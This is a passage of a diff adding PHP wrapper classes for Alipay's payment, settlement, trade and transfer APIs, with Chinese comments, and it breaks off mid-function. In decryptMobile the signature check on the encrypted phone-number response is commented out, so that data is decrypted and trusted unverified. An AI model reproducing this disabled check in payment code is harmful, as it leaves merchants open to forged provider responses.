|
||||
|
||||
/**
|
||||
* 查询授权商家信息
|
||||
* @param string $appAuthToken 应用授权令牌
|
||||
* @return mixed {"user_id":"授权商户的user_id","auth_app_id":"授权商户的appid","expires_in":31536000,"auth_methods":[],"auth_start":"授权生效时间","auth_end":"授权失效时间","status":"valid/invalid","is_by_app_auth":true}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function appQuery(string $appAuthToken)
|
||||
{
|
||||
$apiName = 'alipay.open.auth.token.app.query';
|
||||
$bizContent = [
|
||||
'app_auth_token' => $appAuthToken,
|
||||
];
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
public function decryptMobile(array $response, string $key)
|
||||
{
|
||||
if(is_string($response['response'])){
|
||||
/*if(!$this->client->rsaPubilcVerify('"'.$response['response'].'"', $response['sign'])){
|
||||
throw new Exception('手机号码数据验签失败');
|
||||
}*/
|
||||
$data = $this->client->aesDecrypt($response['response'], $key);
|
||||
if(!$data) {
|
||||
throw new Exception('手机号码数据解密失败');
|
||||
}
|
||||
$result = json_decode($data, true);
|
||||
if($result['code'] == '10000'){
|
||||
return $result['mobile'];
|
||||
}elseif(isset($result['subMsg'])){
|
||||
throw new Exception($result['subMsg']);
|
||||
}else{
|
||||
throw new Exception('手机号码数据解密失败 '.$result['msg']);
|
||||
}
|
||||
}elseif(isset($response['response']['subCode']) && isset($response['response']['subMsg'])){
|
||||
throw new Exception('['.$response['response']['subCode'].']'.$response['response']['subMsg']);
|
||||
}else{
|
||||
throw new Exception('手机号码加密数据错误');
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,197 @@
|
||||
<?php
|
||||
|
||||
namespace Alipay;
|
||||
|
||||
use Alipay\Aop\AopClient;
|
||||
use Alipay\Aop\AlipayCertHelper;
|
||||
use Alipay\Aop\AlipayRequest;
|
||||
use Alipay\Aop\AlipayResponseException;
|
||||
use Exception;
|
||||
use InvalidArgumentException;
|
||||
|
||||
class AlipayService
|
||||
{
|
||||
//AopClient
|
||||
protected $client;
|
||||
|
||||
//是否公钥证书模式
|
||||
protected $isCertMode = false;
|
||||
|
||||
//应用ID
|
||||
protected $appId;
|
||||
|
||||
//异步通知回调地址
|
||||
protected $notifyUrl;
|
||||
|
||||
//同步通知回调地址
|
||||
protected $returnUrl;
|
||||
|
||||
//服务商模式子商户token
|
||||
protected $appAuthToken;
|
||||
|
||||
//日志文件夹路径
|
||||
protected $logPath;
|
||||
|
||||
//页面跳转接口返回类型
|
||||
protected $pageMethod;
|
||||
|
||||
/**
|
||||
* @param array $config 支付宝配置信息
|
||||
* @throws InvalidArgumentException
|
||||
*/
|
||||
public function __construct(array $config)
|
||||
{
|
||||
if (empty($config['app_id'])) {
|
||||
throw new InvalidArgumentException('应用AppID不能为空');
|
||||
}
|
||||
if (empty($config['app_private_key'])) {
|
||||
throw new InvalidArgumentException("应用私钥不能为空");
|
||||
}
|
||||
if (empty($config['alipay_public_key']) && empty($config['alipay_cert_path'])) {
|
||||
throw new InvalidArgumentException("支付宝公钥不能为空");
|
||||
}
|
||||
$this->appId = $config['app_id'];
|
||||
if (!empty($config['app_cert_path']) && !empty($config['alipay_cert_path']) && !empty($config['root_cert_path']) && (!isset($config['cert_mode']) || $config['cert_mode'] == 1)) {
|
||||
$this->isCertMode = true;
|
||||
}
|
||||
if (isset($config['app_auth_token'])) {
|
||||
$this->appAuthToken = $config['app_auth_token'];
|
||||
}
|
||||
if (isset($config['logPath'])) {
|
||||
$this->logPath = $config['logPath'];
|
||||
}
|
||||
if (isset($config['pageMethod'])) {
|
||||
$this->pageMethod = $config['pageMethod'];
|
||||
}
|
||||
|
||||
$this->client = new AopClient();
|
||||
$this->client->appId = $config['app_id'];
|
||||
if (!empty($config['gateway_url'])) {
|
||||
$this->client->gatewayUrl = $config['gateway_url'];
|
||||
}
|
||||
if (!empty($config['sign_type'])) {
|
||||
$this->client->signType = $config['sign_type'];
|
||||
}
|
||||
if (!empty($config['charset'])) {
|
||||
$this->client->charset = $config['charset'];
|
||||
}
|
||||
|
||||
$this->client->rsaPrivateKey = $config['app_private_key'];
|
||||
if ($this->isCertMode) {
|
||||
$this->client->rsaPublicKeyFilePath = $config['alipay_cert_path'];
|
||||
$this->client->appCertSN = AlipayCertHelper::getCertSN($config['app_cert_path']);
|
||||
$this->client->alipayRootCertSN = AlipayCertHelper::getRootCertSN($config['root_cert_path']);
|
||||
} else {
|
||||
$this->client->rsaPublicKey = $config['alipay_public_key'];
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* 发起接口请求
|
||||
*
|
||||
* @param string $apiName 接口名称
|
||||
* @param array|null $bizContent 请求参数的集合
|
||||
* @param array|null $params 其他公共参数
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function aopExecute(string $apiName, array $bizContent = null, array $params = null)
|
||||
{
|
||||
$request = new AlipayRequest();
|
||||
$request->setApiMethodName($apiName);
|
||||
$request->setNotifyUrl($this->notifyUrl);
|
||||
$request->setAppAuthToken($this->appAuthToken);
|
||||
$request->setBizContent($bizContent);
|
||||
if (is_array($params) && count($params) > 0) {
|
||||
$request->setOtherParams($params);
|
||||
}
|
||||
$result = $this->client->execute($request)->getData();
|
||||
if ($apiName == 'alipay.system.oauth.token' && isset($result['access_token'])) {
|
||||
return $result;
|
||||
} elseif (isset($result['code']) && $result['code'] == '10000') {
|
||||
return $result;
|
||||
} else {
|
||||
throw new AlipayResponseException($result);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 页面跳转接口,返回form表单html
|
||||
*
|
||||
* @param string $apiName 接口名称
|
||||
* @param array|null $bizContent 请求参数的集合
|
||||
* @param array|null $params 其他公共参数
|
||||
* @return string
|
||||
* @throws Exception
|
||||
*/
|
||||
public function aopPageExecute(string $apiName, array $bizContent = null, array $params = null): string
|
||||
{
|
||||
$request = new AlipayRequest();
|
||||
$request->setApiMethodName($apiName);
|
||||
$request->setNotifyUrl($this->notifyUrl);
|
||||
$request->setReturnUrl($this->returnUrl);
|
||||
$request->setAppAuthToken($this->appAuthToken);
|
||||
$request->setBizContent($bizContent);
|
||||
if (is_array($params) && count($params) > 0) {
|
||||
$request->setOtherParams($params);
|
||||
}
|
||||
if (!empty($this->pageMethod)) {
|
||||
switch ($this->pageMethod) {
|
||||
case '2':
|
||||
$httpmethod = 'REDIRECT';
|
||||
break;
|
||||
case '1':
|
||||
$httpmethod = 'GET';
|
||||
break;
|
||||
default:
|
||||
$httpmethod = 'POST';
|
||||
break;
|
||||
}
|
||||
return $this->client->pageExecute($request, $httpmethod);
|
||||
} else {
|
||||
return $this->client->pageExecute($request);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* APP接口,返回收银台SDK的字符串
|
||||
*
|
||||
* @param string $apiName 接口名称
|
||||
* @param array|null $bizContent 请求参数的集合
|
||||
* @param array|null $params 其他公共参数
|
||||
* @return string
|
||||
*/
|
||||
public function aopSdkExecute(string $apiName, array $bizContent = null, array $params = null): string
|
||||
{
|
||||
$request = new AlipayRequest();
|
||||
$request->setApiMethodName($apiName);
|
||||
$request->setNotifyUrl($this->notifyUrl);
|
||||
$request->setAppAuthToken($this->appAuthToken);
|
||||
$request->setBizContent($bizContent);
|
||||
if (is_array($params) && count($params) > 0) {
|
||||
$request->setOtherParams($params);
|
||||
}
|
||||
return $this->client->sdkExecute($request);
|
||||
}
|
||||
|
||||
/**
|
||||
* 回调验签
|
||||
* @param array $params 支付宝返回的信息
|
||||
* @return bool
|
||||
*/
|
||||
public function check(array $params): bool
|
||||
{
|
||||
return $this->client->verify($params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 记录日志
|
||||
*/
|
||||
public function writeLog($text)
|
||||
{
|
||||
if (empty($this->logPath)) return;
|
||||
//$text=iconv("GBK", "UTF-8//IGNORE", $text);
|
||||
file_put_contents($this->logPath . "log.txt", date("Y-m-d H:i:s") . " " . $text . "\r\n", FILE_APPEND);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,200 @@
|
||||
<?php
|
||||
|
||||
namespace Alipay;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* 支付宝分账服务类
|
||||
* @see https://opendocs.alipay.com/open/repo-0038ln
|
||||
*/
|
||||
class AlipaySettleService extends AlipayService
|
||||
{
|
||||
/**
|
||||
* @param array $config 支付宝配置信息
|
||||
*/
|
||||
public function __construct(array $config)
|
||||
{
|
||||
parent::__construct($config);
|
||||
}
|
||||
|
||||
/**
|
||||
* 分账关系绑定
|
||||
* @param string $type 分账接收方方类型(userId,loginName,openId)
|
||||
* @param string $account 分账接收方账号
|
||||
* @param string $name 分账接收方真实姓名
|
||||
* @return bool
|
||||
* @throws Exception
|
||||
*/
|
||||
public function relation_bind(string $type, string $account, string $name): bool
|
||||
{
|
||||
$apiName = 'alipay.trade.royalty.relation.bind';
|
||||
$out_request_no = date("YmdHis").rand(11111,99999);
|
||||
$receiver = [
|
||||
'type' => $type,
|
||||
'account' => $account,
|
||||
];
|
||||
if(!empty($name)) $receiver['name'] = $name;
|
||||
$bizContent = array(
|
||||
'receiver_list' => [
|
||||
$receiver
|
||||
],
|
||||
'out_request_no' => $out_request_no,
|
||||
);
|
||||
$this->aopExecute($apiName, $bizContent);
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* 分账关系解绑
|
||||
* @param string $type 分账接收方方类型(userId,loginName,openId)
|
||||
* @param string $account 分账接收方账号
|
||||
* @return bool
|
||||
* @throws Exception
|
||||
*/
|
||||
public function relation_unbind(string $type, string $account): bool
|
||||
{
|
||||
$apiName = 'alipay.trade.royalty.relation.unbind';
|
||||
$out_request_no = date("YmdHis").rand(11111,99999);
|
||||
$receiver = [
|
||||
'type' => $type,
|
||||
'account' => $account,
|
||||
];
|
||||
$bizContent = array(
|
||||
'receiver_list' => [
|
||||
$receiver
|
||||
],
|
||||
'out_request_no' => $out_request_no,
|
||||
);
|
||||
$this->aopExecute($apiName, $bizContent);
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* 分账关系查询
|
||||
* @param int $page_num 页码
|
||||
* @param int $page_size 每页条数
|
||||
* @return array
|
||||
* @throws Exception
|
||||
*/
|
||||
public function relation_batchquery(int $page_num = 1, int $page_size = 20): array
|
||||
{
|
||||
$apiName = 'alipay.trade.royalty.relation.batchquery';
|
||||
$out_request_no = date("YmdHis").rand(11111,99999);
|
||||
$bizContent = array(
|
||||
'page_num' => $page_num,
|
||||
'page_size' => $page_size,
|
||||
'out_request_no' => $out_request_no,
|
||||
);
|
||||
$result = $this->aopExecute($apiName, $bizContent);
|
||||
return $result['receiver_list'];
|
||||
}
|
||||
|
||||
/**
|
||||
* 分账请求
|
||||
* @param string $trade_no 支付宝订单号
|
||||
* @param string $type 收入方账户类型(userId,cardAliasNo,loginName,openId)
|
||||
* @param string $account 收入方账户
|
||||
* @param numeric $money 分账的金额
|
||||
* @return mixed {"trade_no":"支付宝交易号","settle_no":"支付宝分账单号"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function order_settle(string $trade_no, string $type, string $account, $money) {
|
||||
$apiName = 'alipay.trade.order.settle';
|
||||
$out_request_no = date("YmdHis").rand(11111,99999);
|
||||
$receiver = [
|
||||
'trans_in_type' => $type,
|
||||
'trans_in' => $account,
|
||||
'amount' => $money
|
||||
];
|
||||
$bizContent = array(
|
||||
'out_request_no' => $out_request_no,
|
||||
'trade_no' => $trade_no,
|
||||
'royalty_parameters' => [
|
||||
$receiver
|
||||
],
|
||||
'extend_params' => [
|
||||
'royalty_finish' => 'true'
|
||||
]
|
||||
);
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 解冻剩余资金
|
||||
* @param string $trade_no 支付宝订单号
|
||||
* @return mixed {"trade_no":"支付宝交易号","settle_no":"支付宝分账单号"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function order_settle_unfreeze(string $trade_no) {
|
||||
$apiName = 'alipay.trade.order.settle';
|
||||
$out_request_no = date("YmdHis").rand(11111,99999);
|
||||
$bizContent = array(
|
||||
'out_request_no' => $out_request_no,
|
||||
'trade_no' => $trade_no,
|
||||
'extend_params' => [
|
||||
'royalty_finish' => 'true'
|
||||
],
|
||||
);
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 分账查询
|
||||
* @param string $settle_no 支付宝分账单号
|
||||
* @return mixed {"out_request_no":"商户分账请求单号","operation_dt":"分账受理时间","royalty_detail_list":[{"operation_type":"transfer","execute_dt":"分账执行时间","trans_out":"2088111111111111","trans_out_type":"userId","trans_in":"2088111111112222","trans_in_type":"userId","amount":10,"state":"FAIL","error_code":"TXN_RESULT_ACCOUNT_BALANCE_NOT_ENOUGH","error_desc":"分账余额不足"}]}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function order_settle_query(string $settle_no) {
|
||||
$apiName = 'alipay.trade.order.settle.query';
|
||||
$bizContent = array(
|
||||
'settle_no' => $settle_no,
|
||||
);
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 分账比例查询
|
||||
* @return mixed {"user_id":"2088XXXX1234","max_ratio":80}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function rate_query() {
|
||||
$apiName = 'alipay.trade.royalty.rate.query';
|
||||
$out_request_no = date("YmdHis").rand(11111,99999);
|
||||
$bizContent = array(
|
||||
'out_request_no' => $out_request_no,
|
||||
);
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 退分账
|
||||
* @param string $trade_no 支付宝交易号
|
||||
* @param string $type 支出方账户类型(userId,loginName)
|
||||
* @param string $account 支出方账户
|
||||
* @param numeric $money 分账的金额
|
||||
* @return true
|
||||
* @throws Exception
|
||||
*/
|
||||
public function order_settle_refund(string $trade_no, string $type, string $account, $money): bool
|
||||
{
|
||||
$apiName = 'alipay.trade.refund';
|
||||
$out_request_no = date("YmdHis").rand(11111,99999);
|
||||
$receiver = [
|
||||
'royalty_type' => 'transfer',
|
||||
'trans_out_type' => $type,
|
||||
'trans_out' => $account,
|
||||
'amount' => $money
|
||||
];
|
||||
$bizContent = array(
|
||||
'trade_no' => $trade_no,
|
||||
'refund_amount' => '0',
|
||||
'out_request_no' => $out_request_no,
|
||||
'refund_royalty_parameters' => [
|
||||
$receiver
|
||||
],
|
||||
);
|
||||
$this->aopExecute($apiName, $bizContent);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,409 @@
|
||||
<?php
|
||||
|
||||
namespace Alipay;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* 支付宝交易服务类
|
||||
*/
|
||||
class AlipayTradeService extends AlipayService
|
||||
{
|
||||
//互联网直付通模式子商户ID
|
||||
private $smid;
|
||||
|
||||
/**
|
||||
* @param array $config 支付宝配置信息
|
||||
*/
|
||||
public function __construct(array $config)
|
||||
{
|
||||
parent::__construct($config);
|
||||
if (isset($config['smid'])) {
|
||||
$this->smid = $config['smid'];
|
||||
}
|
||||
if (isset($config['notify_url'])) {
|
||||
$this->notifyUrl = $config['notify_url'];
|
||||
}
|
||||
if (isset($config['return_url'])) {
|
||||
$this->returnUrl = $config['return_url'];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 付款码支付
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号","open_id":"买家支付宝userid","buyer_logon_id":"买家支付宝账号"}
|
||||
* @throws Exception
|
||||
* @see https://opendocs.alipay.com/open/02ekfp?ref=api&scene=32
|
||||
*/
|
||||
public function scanPay(array $bizContent)
|
||||
{
|
||||
$apiName = 'alipay.trade.pay';
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 扫码支付
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return mixed {"out_trade_no":"商户订单号","qr_code":"二维码链接"}
|
||||
* @throws Exception
|
||||
* @see https://opendocs.alipay.com/open/02ekfg?ref=api&scene=19
|
||||
*/
|
||||
public function qrPay(array $bizContent)
|
||||
{
|
||||
$apiName = 'alipay.trade.precreate';
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* JS支付
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号"}
|
||||
* @throws Exception
|
||||
* @see https://opendocs.alipay.com/open/02ekfj?ref=api
|
||||
*/
|
||||
public function jsPay(array $bizContent)
|
||||
{
|
||||
$apiName = 'alipay.trade.create';
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* APP支付
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return string SDK请求串
|
||||
* @see https://opendocs.alipay.com/open/02e7gq?ref=api&scene=20
|
||||
*/
|
||||
public function appPay(array $bizContent): string
|
||||
{
|
||||
$apiName = 'alipay.trade.app.pay';
|
||||
return $this->aopSdkExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 电脑网站支付
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return string html表单
|
||||
* @throws Exception
|
||||
* @see https://opendocs.alipay.com/open/028r8t?ref=api&scene=22
|
||||
*/
|
||||
public function pagePay(array $bizContent): string
|
||||
{
|
||||
$apiName = 'alipay.trade.page.pay';
|
||||
$bizContent['product_code'] = 'FAST_INSTANT_TRADE_PAY';
|
||||
return $this->aopPageExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 手机网站支付
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return string html表单
|
||||
* @throws Exception
|
||||
* @see https://opendocs.alipay.com/open/02ivbs?ref=api&scene=21
|
||||
*/
|
||||
public function wapPay(array $bizContent): string
|
||||
{
|
||||
$apiName = 'alipay.trade.wap.pay';
|
||||
$bizContent['product_code'] = 'QUICK_WAP_WAY';
|
||||
return $this->aopPageExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 交易查询
|
||||
* @param string|null $trade_no 支付宝交易号
|
||||
* @param string|null $out_trade_no 商户订单号
|
||||
* @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号","open_id":"买家支付宝userid","buyer_logon_id":"买家支付宝账号","trade_status":"TRADE_SUCCESS","total_amount":88.88}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function query(string $trade_no = null, string $out_trade_no = null)
|
||||
{
|
||||
$apiName = 'alipay.trade.query';
|
||||
$bizContent = [];
|
||||
if ($trade_no) {
|
||||
$bizContent['trade_no'] = $trade_no;
|
||||
}
|
||||
if ($out_trade_no) {
|
||||
$bizContent['out_trade_no'] = $out_trade_no;
|
||||
}
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 交易是否成功
|
||||
* @param null $trade_no 支付宝交易号
|
||||
* @param null $out_trade_no 商户订单号
|
||||
* @return bool
|
||||
* @throws Exception
|
||||
*/
|
||||
public function queryResult($trade_no = null, $out_trade_no = null): bool
|
||||
{
|
||||
$result = $this->query($trade_no, $out_trade_no);
|
||||
if (isset($result['code']) && $result['code'] == '10000') {
|
||||
if ($result['trade_status'] == 'TRADE_SUCCESS' || $result['trade_status'] == 'TRADE_FINISHED' || $result['trade_status'] == 'TRADE_CLOSED') {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* 交易退款
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号","buyer_user_id":"买家支付宝userid","buyer_logon_id":"买家支付宝账号","fund_change":"Y","refund_fee":88.88}
|
||||
* @throws Exception
|
||||
* @see https://opendocs.alipay.com/open/02ekfk?ref=api
|
||||
*/
|
||||
public function refund(array $bizContent)
|
||||
{
|
||||
$apiName = 'alipay.trade.refund';
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 交易退款查询
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号","out_request_no":"退款请求号","refund_status":"REFUND_SUCCESS","total_amount":88.88,"refund_amount":88.88}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function refundQuery(array $bizContent)
|
||||
{
|
||||
$apiName = 'alipay.trade.fastpay.refund.query';
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 交易撤销
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号","retry_flag":"N是否需要重试","action":"close本次撤销触发的交易动作"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function cancel(array $bizContent)
|
||||
{
|
||||
$apiName = 'alipay.trade.cancel';
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 交易关闭
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function close(array $bizContent)
|
||||
{
|
||||
$apiName = 'alipay.trade.close';
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询对账单下载地址
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return mixed {"bill_download_url":"账单下载地址"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function downloadurlQuery(array $bizContent)
|
||||
{
|
||||
$apiName = 'alipay.data.dataservice.bill.downloadurl.query';
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 支付回调验签
|
||||
* @param $params array
|
||||
* @return bool
|
||||
* @throws Exception
|
||||
*/
|
||||
public function check(array $params): bool
|
||||
{
|
||||
$result = $this->client->verify($params);
|
||||
if($result){
|
||||
$result = $this->queryResult($params['trade_no']);
|
||||
}
|
||||
return $result;
|
||||
}
|
||||
|
||||
/**
|
||||
* 互联网直付通交易额外参数
|
||||
* @param array &$bizContent 请求参数的集合
|
||||
* @param string $settle_period_time 最晚结算周期
|
||||
* @throws Exception
|
||||
* @see https://opendocs.alipay.com/open/direct-payment/qadp9d
|
||||
*/
|
||||
public function directPayParams(array &$bizContent, string $settle_period_time = '1d')
|
||||
{
|
||||
if (empty($this->smid)) {
|
||||
throw new Exception("子商户SMID不能为空");
|
||||
}
|
||||
if(strpos($this->smid, ',')){
|
||||
$smids = explode(',', $this->smid);
|
||||
$this->smid = $smids[array_rand($smids)];
|
||||
}
|
||||
$bizContent['sub_merchant'] = ['merchant_id' => $this->smid];
|
||||
$bizContent['settle_info'] = [
|
||||
'settle_period_time' => $settle_period_time,
|
||||
'settle_detail_infos' => [
|
||||
[
|
||||
'trans_in_type' => 'defaultSettle',
|
||||
'amount' => $bizContent['total_amount']
|
||||
]
|
||||
]
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* 互联网直付通确认结算
|
||||
* @param string $trade_no 支付宝交易号
|
||||
* @param numeric $settle_amount 结算金额
|
||||
* @param bool $freeze 冻结标识
|
||||
* @return mixed {"trade_no":"支付宝交易号","out_request_no":"确认结算请求流水号","settle_amount":"结算金额"}
|
||||
* @throws Exception
|
||||
* @see https://opendocs.alipay.com/open/direct-payment/gkvknf
|
||||
*/
|
||||
public function settle_confirm(string $trade_no, $settle_amount, bool $freeze = false)
|
||||
{
|
||||
$apiName = 'alipay.trade.settle.confirm';
|
||||
$out_request_no = date("YmdHis").rand(11111,99999);
|
||||
$bizContent = array(
|
||||
'out_request_no' => $out_request_no,
|
||||
'trade_no' => $trade_no,
|
||||
'settle_info' => [
|
||||
'settle_detail_infos' => [
|
||||
[
|
||||
'trans_in_type' => 'defaultSettle',
|
||||
'amount' => $settle_amount
|
||||
]
|
||||
]
|
||||
],
|
||||
);
|
||||
if($freeze){
|
||||
$bizContent['extend_params'] = ['royalty_freeze' => 'true'];
|
||||
}
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 合并支付预创建
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return mixed {"out_merge_no":"合单订单号","pre_order_no":"预下单号"}
|
||||
* @throws Exception
|
||||
* @see https://opendocs.alipay.com/open/028xr9
|
||||
*/
|
||||
public function mergePrecreatePay(array $bizContent)
|
||||
{
|
||||
$apiName = 'alipay.trade.merge.precreate';
|
||||
$params = null;
|
||||
if (!empty($this->returnUrl)) {
|
||||
$params['return_url'] = $this->returnUrl;
|
||||
}
|
||||
return $this->aopExecute($apiName, $bizContent, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 手机网站合单支付
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return string html表单
|
||||
* @throws Exception
|
||||
* @see https://opendocs.alipay.com/open/028xra
|
||||
*/
|
||||
public function wapMergePay(array $bizContent): string
|
||||
{
|
||||
$apiName = 'alipay.trade.wap.merge.pay';
|
||||
return $this->aopPageExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* APP合单支付
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return string SDK请求串
|
||||
* @see https://opendocs.alipay.com/open/028py8
|
||||
*/
|
||||
public function appMergePay(array $bizContent): string
|
||||
{
|
||||
$apiName = 'alipay.trade.app.merge.pay';
|
||||
return $this->aopSdkExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 小程序合单支付
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return mixed {"out_merge_no":"外部合并单号","merge_no":"合并交易号","order_detail_results":[]}
|
||||
* @throws Exception
|
||||
* @see https://opendocs.alipay.com/open/0a0yaq
|
||||
*/
|
||||
public function mergeCreate(array $bizContent)
|
||||
{
|
||||
$apiName = 'alipay.trade.merge.create';
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 线上资金授权冻结
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return string SDK请求串
|
||||
* @see https://opendocs.alipay.com/open/repo-0243e2
|
||||
*/
|
||||
public function preAuthFreeze(array $bizContent): string
|
||||
{
|
||||
$apiName = 'alipay.fund.auth.order.app.freeze';
|
||||
return $this->aopSdkExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 资金授权解冻
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function preAuthUnfreeze(array $bizContent)
|
||||
{
|
||||
$apiName = 'alipay.fund.auth.order.unfreeze';
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 资金授权撤销
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function preAuthCancel(array $bizContent)
|
||||
{
|
||||
$apiName = 'alipay.fund.auth.operation.cancel';
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 资金授权操作查询接口
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function preAuthQuery(array $bizContent)
|
||||
{
|
||||
$apiName = 'alipay.fund.auth.operation.detail.query';
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 资金转账页面支付接口
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return string
|
||||
* @throws Exception
|
||||
*/
|
||||
public function transPagePay(array $bizContent): string
|
||||
{
|
||||
$apiName = 'alipay.fund.trans.page.pay';
|
||||
return $this->aopPageExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 现金红包无线支付接口
|
||||
* @param array $bizContent 请求参数的集合
|
||||
* @return string
|
||||
*/
|
||||
public function transAppPay(array $bizContent): string
|
||||
{
|
||||
$apiName = 'alipay.fund.trans.app.pay';
|
||||
return $this->aopSdkExecute($apiName, $bizContent);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,197 @@
|
||||
<?php
|
||||
|
||||
namespace Alipay;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* 支付宝转账服务类
|
||||
* @see https://opendocs.alipay.com/open/309/106235
|
||||
*/
|
||||
class AlipayTransferService extends AlipayService
|
||||
{
|
||||
/**
|
||||
* @param array $config 支付宝配置信息
|
||||
*/
|
||||
public function __construct(array $config)
|
||||
{
|
||||
parent::__construct($config);
|
||||
}
|
||||
|
||||
/**
|
||||
* 转账到支付宝账号
|
||||
* @param string $out_biz_no 商户转账唯一订单号
|
||||
* @param numeric $amount 转账金额
|
||||
* @param int $is_userid 收款方是否支付宝userid(0支付宝账号,1支付宝UID,2支付宝openid)
|
||||
* @param string $payee_account 收款方账户
|
||||
* @param string $payee_real_name 收款方姓名
|
||||
* @param string $payer_show_name 付款方显示姓名
|
||||
* @return mixed {"out_biz_no":"商户订单号","order_id":"支付宝转账订单号","pay_fund_order_id":"支付宝支付资金流水号","status":"SUCCESS","trans_date":"订单支付时间"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function transferToAccount(string $out_biz_no, $amount, int $is_userid, string $payee_account, string $payee_real_name, string $payer_show_name)
|
||||
{
|
||||
if ($this->isCertMode) {
|
||||
$apiName = 'alipay.fund.trans.uni.transfer';
|
||||
switch($is_userid) {
|
||||
